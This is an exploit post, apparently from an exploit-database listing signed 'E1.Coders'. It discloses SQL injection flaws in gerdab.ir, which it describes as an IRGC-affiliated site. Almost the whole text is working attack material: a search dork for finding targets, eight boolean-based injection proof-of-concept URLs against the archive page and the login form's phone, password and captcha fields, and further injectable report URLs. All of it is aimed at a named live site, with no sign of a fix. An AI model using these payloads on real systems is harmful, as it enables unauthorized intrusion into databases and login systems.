Gerdab.ir SQL Injection

`  
This site belongs to the Revolutionary Guards Intelligence Organization of the Islamic Republic of Iran (IRGC), which has a security problem with the SQL INJECTION Vulnerability "CWE-89".  
  
We have repeatedly reported to this site that it has a security problem and has ignored our report.  
We want to record this security issue  
  
  
  
  
#########################################################################################################################  
# #  
# Exploit Title : Site affiliated To the intelligence agency Revolutionary Guards of the Islamic Republic of Iran (IRGC) SQL INJECTION Vulnerability #  
# #  
# Author : E1.Coders #  
# #  
# Contact : E1.Coders [at] Mail [dot] RU #  
# #  
# Portal Link : www.my.gerdab.ir #  
# #  
# Security Risk : Medium #  
# #  
# Description : All target's IRanian Military websites #  
# #  
# DorK : ""inurl:reports/status?s=" "site:my.gerdab.ir/reports/status?s=" #  
# #  
#########################################################################################################################  
# #  
# Expl0iTs: #  
#  
#  
# address (refer url): https://gerdab.ir/fa/archive?service_id=9&sec_id=63  
#  
# vulnerabillity : GET SQL INJECT BOOLEAN Based string   
#  
# action url: https://gerdab.ir/fa/archive?sec_id=63&service_id=99999999  
  
--------------------------------------------------  
#  
# vuln type : SQLInjection  
#   
# refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63  
#   
# request type : COOKIE  
#   
# action url : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9  
#   
# parameter : service_id  
#   
# description : COOKIE SQL INJECTION BooleanBased String  
#   
# POC : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9%27) aNd 8634682=8634682 aNd (%276199%27)=(%276199  
  
---------------------------------------  
  
# vuln type : SQLInjection  
#   
# refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63  
#   
# request type : GET  
#   
# action url : https://gerdab.ir/fa/archive?sec_id=63&service_id=9  
#   
# parameter : service_id  
#   
# description : GET SQL INJECTION BooleanBased Integer  
#   
# POC : https://gerdab.ir/fa/archive?sec_id=63&service_id=9 RLIKE (case when 8446715=8446715 then 0x74657374696E70757476616C7565 else 0x28 end)  
#   
#   
------------------------------------------------------  
#   
#   
# vuln type : SQLInjection  
#   
# refer address : https://my.gerdab.ir/login  
#   
# request type : POST  
#   
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999  
#   
# parameter : phone  
#   
# description : POST SQL INJECTION BooleanBased Integer  
#   
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999/**/oR/**/8871966=8871966/**/aNd/**/7193=7193  
#   
------------------------------------------------  
#   
# vuln type : SQLInjection  
#   
# refer address : https://my.gerdab.ir/login  
#   
# request type : POST  
#   
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986  
# parameter : phone  
#   
# description : POST SQL INJECTION BooleanBased Integer  
#   
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986/**/RLIKE/**/(case/**/when/**//**/7338747=7338747/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)  
#   
------------------------------------------------  
#   
# vuln type : SQLInjection  
#   
# refer address : https://my.gerdab.ir/login  
#   
# request type : POST   
#   
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999  
#   
# parameter : password  
#   
# description : POST SQL INJECTION BooleanBased String  
#   
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999%27/**/oR/**/4563301=4563301/**/aNd/**/%276199%27=%276199  
#   
------------------------------------------------  
#   
# vuln type : SQLInjection  
#   
# refer address : https://my.gerdab.ir/login  
# request type : POST  
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819  
# parameter : password  
# description : POST SQL INJECTION BooleanBased Integer  
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819/**/RLIKE/**/(case/**/when/**//**/8423820=8423820/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)  
#   
------------------------------------------------  
#   
# vuln type : SQLInjection  
# refer address : https://my.gerdab.ir/login  
# request type : POST  
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999  
#   
# parameter : captcha  
#   
# description : POST SQL INJECTION BooleanBased Integer  
#   
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999/**/oR/**/6019831=6019831--%20  
#   
------------------------------------------------  
#   
# vuln type : SQLInjection  
#   
# refer address : https://my.gerdab.ir/login  
# request type : POST  
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505  
# parameter : captcha  
# description : POST SQL INJECTION BooleanBased String  
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505%27/**/RLIKE/**/(case/**/when/**//**/2804470=2804470/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)/**/and/**/'7917'='7917  
------------------------------------------------  
# #  
# 1: https://my.gerdab.ir/reports/status?s=1' #  
# #  
# 2: https://my.gerdab.ir/reports/status?s%22=%221%22 #  
# #  
#########################################################################################################################  
# #  
# | Security Is JOCK | #  
# #  
# | Russian Black Hat | #  
# #  
#########################################################################################################################  
  
  
  
  
  
--  
E1 Coders  
`